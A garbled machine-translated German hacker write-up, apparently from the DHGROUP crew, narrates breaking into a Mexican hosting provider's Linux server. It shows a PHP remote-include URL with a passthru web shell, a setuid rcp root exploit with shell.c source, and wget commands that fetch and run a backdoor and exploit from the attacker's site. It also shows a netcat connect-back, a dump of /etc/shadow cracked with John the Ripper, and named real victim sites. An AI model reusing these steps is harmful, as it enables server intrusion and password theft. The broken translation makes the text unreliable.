This page has been robot translated, sorry for typos if any. Original content here.

Root auf dem Web-Hosting-Provider


Intro.
Ich beschloss, es zu beschreiben dieser Hack ist, denn es fand überhaupt gerade jetzt (und in diesem Moment - 23.01.03 - der Server noch ist, sozusagen, in den Händen von DHG) ist auch ein gemeinsames schon vor langer Zeit wurde ich gebeten, einige interessanten Hacking zu beschreiben.
Ich wollte nicht, dass diese Geschichte ein Werkzeug für ausländische Verbrechen war, so bewusst wir einige Fehler \ Ungenauigkeiten zugeben (die jedoch jeder fortgeschrittener Benutzer bemerken). Nun kauen auch die grundlegenden Dinge wie „die Linux-Befehle und in welchem ​​Ort suchen, wie Campiglio sployty“ Wir haben nicht so will. Also los geht.

Round # 1: Fernbedienung.
Im Allgemeinen war der ursprüngliche Zweck mexikanische Linux-Portal www. ***. Com, die einmal mit diesem Anbieter hosten.
Das erste, was erforderlich, um die Achse wissen, auf welchem ​​das Portal. Obwohl, der Stumpf löschen, hängt die Website von Linux'e kann nicht unter Windows. Es war unter http: "Apache / 1.3.26 (Unix) (Red Hat / Linux) Chili Soft ASP / 3.6.2 PHP / 4.1.2!", Ftp-Banner zu lesen:
managedhosting FTP-Server (Version 6.5 / OpenBSD, Linux-Port 0.3.2) bereit.
Scan-Ports, cgi-bug'i auch alle solchen Unsinn, können wir nicht werden - oder besser gesagt, beschlossen, später zu verschieben. Nun, wie Ipomoea essno Abdeckung will nicht. Also, in dem ftp-Banner blitzte einen Ausdruck von "Hosting"! Scoring auf ripnet, entschieden wir uns direkt gehen ip'u die www hat. ***. Com. Er führte mich auf die Website „managedhosting.dialtoneinternet.com.mx“, die offensichtlich sein Heer war. Später wurde eine kurze Anleitung bruteforce'a tatsächlichen Hosting-Site berechnet: dialtoneinternet.com.mx (www.dialtone.com).
An dieser Stelle haben wir beschlossen, so weit zurück zu bleiben Websites zu brechen. Er stand auf der PHP-Engine "phpWebSite" unbekannte Version. Dies ist ein weiterer Klon php-nuke'a unterschied sich nicht besonderes Augenmerk auf die Sicherheit. Alle Versionen bis 0.8.2 PWS (auch als stabil markiert) hatte eine Verwundbarkeit Klasse ‚Php Quelle Injektion‘. Diejenigen, die nichts haben es nicht sagen, siehe den Artikel r4ShRaY'ya diese Sicherheitsanfälligkeit. Der Rest ist, lesen Sie weiter. So, hier ist ein Stück sorsa modsecurity.php Datei:

<? Php
global $ inc_prefix;
if (! $ inc_prefix) {
...
}
...
include_once ($ inc_prefix "htmlheader.php".);
?>

IMHO sollte alles klar sein. Durch die Ausführung dieses Skript wie folgt aus:
http: //www.***.com/modsecurity.php inc_prefix = http :? //www.dhgroup.org
htmlheader.php Datei, die auf unserer Website, folgt mit poka_neopredelonnymi_pravami. Das einzige, was mich stört, dann ist es, dass bei der angegriffenen Website wert ist geflickt oder mehr neue Arten (nach allem, dies ist nicht eine Art von ‚Wasjas Startseite‘, sondern ein Portal für kewl-Linux-userz).
Im Allgemeinen haben wir htmlheader.php Datei hier auf unserer Website die folgenden Inhalte:

<? passthru ( "$ cmd")?>

Als nächstes ging ich an die Adresse:
modsecurity.php inc_prefix = http :? //www.dhgroup.org&cmd=ls
Was wir bekamen, www Verzeichnisliste. # Hinweis. alle Teams wird auch weiterhin ohne "... inc_prefix = http // :? kritzeln ..."!

Runde # 2: local.
> Echo hallo> kewl.txt; Katze kewl.txt
Die Daten über die zwei Teams Browser antwortete leer schneeweißen Bildschirm. Dies wies darauf hin, dass die Rechte auf das Verzeichnis www ich nicht schreiben müssen. Das heißt, zum Ausdruck bringt noch hell und früh verunstalten. Nun, bevor die wie weitere Maßnahmen zu ergreifen, um mehr Informationen über das System zu sammeln. Die Hauptbeschäftigung, erreichen wir für die Datei httpd.conf:
> Cat /etc/httpd/conf/httpd.conf
Von dort rissen wir Version fronika (übrigens http-Header 'Server' schweigt über das Vorhandensein FrontPage'a) als Weg zum www-Verzeichnis der Website: dialtoneinternet.com.mx (Loma-Hosting-Provider), stormarketing.com, altavistablinds.com, parigitown.com, als auch, mehr zu mehreren wichtigen Ressourcen:
# -FrontPage- version = 4.0
##
## httpd.conf - Apache HTTP Server-Konfigurationsdatei
##
...
<Virtual 66.33.62.88>
<Verzeichnis / home / admin / www / serversecure>
Optionen Alle
AllowOverride All
</ Directory>
Server dialtoneinternet.com.mx
Serveralias www.dialtoneinternet.com.mx
DocumentRoot / home / admin / www
ErrorLog logs / error_log
TransferLog logs / transfer_log
Gruppe niemand
Script / cgi-bin / / home / admin / www / cgi-bin /
</ Virtualhost>
...
Natürlich ihre Rechte nicht genug verunstalten, aber sie werden um die fronikovye service.pwd (falls vorhanden) dieser Seiten zu betrachten, mit allen sich daraus ergebenden Konsequenzen genug, sein;) Diese Gelegenheit, die wir auf das Abenteuer verlassen, wenn ich noch nicht in der Lage sein, ihre Privilegien zu erhöhen.
Ferner für das Interesse haben wir eingeführt:
> Netstat -a
Er erhielt (# - Meine Tags):
 . Aktive Internet-Verbindungen (Server und etabliert) Proto Recv-Q Send-Q Lokale Adresse Adresse Status tcp 0 1 66.33.62 *: 2114 by.ru:www LAST_ACK # (1) tcp 0 0 66.33.62 * :. Www 62.141.75.226:3116 vorhandenes tCP 0 0 *: www *: * LISTEN tcp 0 0 *: IMAP2 *: * LISTEN tcp 0 0 *: pop3 *: * LISTEN tcp 0 0 *: ftp *: * tcp 0 0 LISTEN * 81 *: * LISTEN tcp 0 0 *: https *: * LISTEN # (2) tcp 0 0 managedhosting.d: Domain *: * LISTEN tcp 0 0 managedhosting2.:domain *: * LISTEN tcp 0 0 spacebattles.net: domain *: * tcp 0 0 66.33.62 * LISTEN :. domain *: * LISTEN tcp 0 0 localhost.locald: domain *: * LISTEN tcp 0 0 *: smtp *: * LISTEN tcp 0 0 *: mysql *: * LISTEN tcp 0 0 *: casp3001 *: * LISTEN tcp 0 0 *: casp3000 *: * LISTEN tcp 0 0 *: casp5105 *: * LISTEN tcp 0 0 *: casp5103 *: * LISTEN tcp 0 0 *: casp5104 *: * LISTEN tcp 0 0 *: 1581 *: * LISTEN tcp 0 0 * 1024 *: * LISTEN tcp 0 0 *: SSH *: * LISTEN # (3) udp 0 0 *: 4320 *: * udp 0 0 managedhosting.d : domain *: * udp 0 0 managedhosting2.:domain *: * udp 0 0 spacebattles.net:domain *: * udp 0  . 0 66.33.62 *: Domain *: * udp 0 0 localhost.locald: domain *: * raw 0 0 *: udp *: * 7 raw 0 0 *: tcp *: * 7 raw 0 0 *: icmp *: roh * 7 0 0 *: tcp *: * 7 Aktive UNIX Domain Sockets (Server und etabliert) Proto RefCnt Flags Typ State I-Node-Pfad Unix 0 [ACC] STREAM HÖRT 0 552 166 /home/httpsd/cache/ssl.socket Unix [ACC] STREAM EMPFANGS 2087 /tmp/mysql.sock UNIX- 4 [] dgram 290 / dev / log UNIX 0 [ACC] STREAM HÖRE 549 144 / var / run / NDC UNIX- 0 [] STREAM 565 939 UNIX- 0 [] dgram UNIX-0 555 692 [] dgram 549.142 Unix 0 [] dgram Unix 3193 0 [] dgram 303 
(1) - wir =)
(2) - das Vorhandensein ssl drückt in der Regel den Austausch mit dem Server privaten infoy (cc, zum Beispiel). Obwohl es in den alltäglichen Dingen Hosting.
(3) - hier ist es eine Schale! Er sagte uns, praktisch, später kommen.
Das ist auch die Ports scannt nicht nehmen :)
Als nächstes wurde, notwendig, um alle spezifischen Aktionen ablaufen, sondern vielmehr, wenn fast Version der Kappe zu wissen, sogar plus, auf dieser Grundlage müssen auf tanzen. Also, für diejenigen, die nicht wissen, einige (wenn nicht alle) Linux-Distributionen lassen Datei "* -release" (wobei * - der Name der Verteilungs: Alraune-Freisetzung, Kobalt-Release ...) in der Datei / etc / und Administratoren müssen nicht seine Gewohnheiten zu entfernen.
> Cat / etc / redhat-release:
Red Hat Linux Version 6.1 (Cartman)
Obaaaaa, muss ich sagen, wir haben nicht erwartet :) Alles andere ist Blabla ein Trick war .. Um die lang erwartete Ruta wir juzat RedHat'ovskuyu Verwundbarkeit RCP entschieden zu erreichen.

Red Hat 6.2: rcp möglich Wurzelloch
In der Tat wurde eine Schwachstelle in der Kappe .. 6.2 Pro 6.1 in der Post von Andrew Griffiths Tlabs und kein Wort gesagt wurde gefunden. Unter Berufung auf Glück, wir eingeführt:
> Ls -alF `die rcp`
-rwsr-xr-x 1 root root 14868 30. Juli 1999 / usr / bin / RCP *
Op! Suidny RCP bietet Platz zu sein! Es ist schon gut :) Ich schenkte mir „rcpsploit.pl“ von tlabs und Prüfung soren gestoppt. Ich denke, ich werde erklären, wie das funktioniert sployt - vielleicht wird es Ihnen helfen, die Art der Verwundbarkeit zu verstehen ist auch das Problem.
So schafft es 2 Dateien:
/tmp/shell.c---------------------

# include
# include
int main ()
{
setuid- (0);
Setgid (0);
execl ( "/ bin / sh", "sh", 0);
return 0;
}


hey ------------------------------
Sploit von tlabs geschrieben, dank Andrew Griffiths für den Fehlerbericht

Dann, durch suidny rcp, sployt Kompilieren shell.c chmod'om arbeitet sie auch so bla bla suidnym. Auch hier ist alles! Führen Sie zusammengestellt Schale auch ein Shell-uid = 0, gid = 0 erwerben. Aber was gut für uns aus dieser Schale, wenn wir Befehle über einen Webserver ausführen? : - /
Sployt diese Arbeit macht nur auf einem „normalen“ Shelley erlaubt war.
Nun, müssen Sie eine Shell? Er wird! In meinem warez-Archiv ist längst pylilsya kleine Gerste Trojan, haben wir beschlossen, auch zu nutzen:
> Wget -o = / tmp / .tmp.pl http://www.dhgroup.org/exp/backhole.pl
> Chmod 755 /.tmp/tmp.pl
> Perl /tmp/.tmp.pl
Weiter auf Ihrem Computer:
> Nc ***. Com 51015
Prikonnektivshis:
> Cd / tmp
> Wget -c http://www.dhgroup.org/exp/rcpsploit.pl
> Chmod 755 rcpsploit.pl; perl rcpsploit.pl
Ok, zu einfach, wir nur eine Shell starten, läßt hoffen, Scheiße ging gut innit :)
> id
uid = 0 (root) GID = 0 (root) groups = 0 (root), 1 (ist), 2 (Daemon), 3 (sys), 4 (adm), 6 (Festplatte), 10 (Rad)
Auch hier ist alles :) Nun, wie die letzten:
> Cat / etc / shadow
Wurzel: ###: 11961: 0: 99999: 7: -1: -1: 134.549.964
ist: *: 10925: 0: 99999: 7 :::
Dämon: *: 10925: 0: 99999: 7 :::
adm: ###: 11577: 0: 99999: 7: -1: -1: 134.549.852
... etc ...
JTR 977% von Passwörtern) gezählt, um die Suche zu beschleunigen, haben wir eingeführt:
john -i: alle -u: root Schatten
Irgendwo 08.00 Uhr ... und der lang erwartete Moment:




Ich goss dann auf LRK, mehrere datapipe'ov BnC auch ... aber, dass eine andere Geschichte ....

Das war in dem Einbruch verwendet:
Netscape v.xz
SecureCRT 3.1
NetCat
John The Ripper
backhole.pl
rcpsploit.pl
Köpfchen
PacketStormSecurity

Schlussfolgerungen \ Notes \ Kommentare:
1. Wenn der Server oder andere wichtige Anrufe selbst der Hosting-Provider oder das Linux-Portal - es bedeutet nicht, dass es gut geschützt ist.
2. Im Zuge des Hacking ist nicht notwendig, speziell seinen winde zu erklären (dies wird in Zukunft Artikeln mehr sein).
3. Wenn Hacking ist so gut wie nie benutzt, so genannte „Hacker“ Software.
4. RH6. * - Nicht essen gud :)

PS IMHO, könnte der Leser den Eindruck hat, dass ich habe das Glück, auch gemeinsamer Hacking dauert ein paar Minuten .. Dies ist nicht der Fall. Es gab Momente, in denen die Zeit einfach werfen ihre Hände zu welchem ​​Zeitpunkt wollte Kopf an der Wand kämpfen.

Autor: D4rkGr3y


Material mit freundlicher Genehmigung DHGROUP (http://www.dhgroup.org)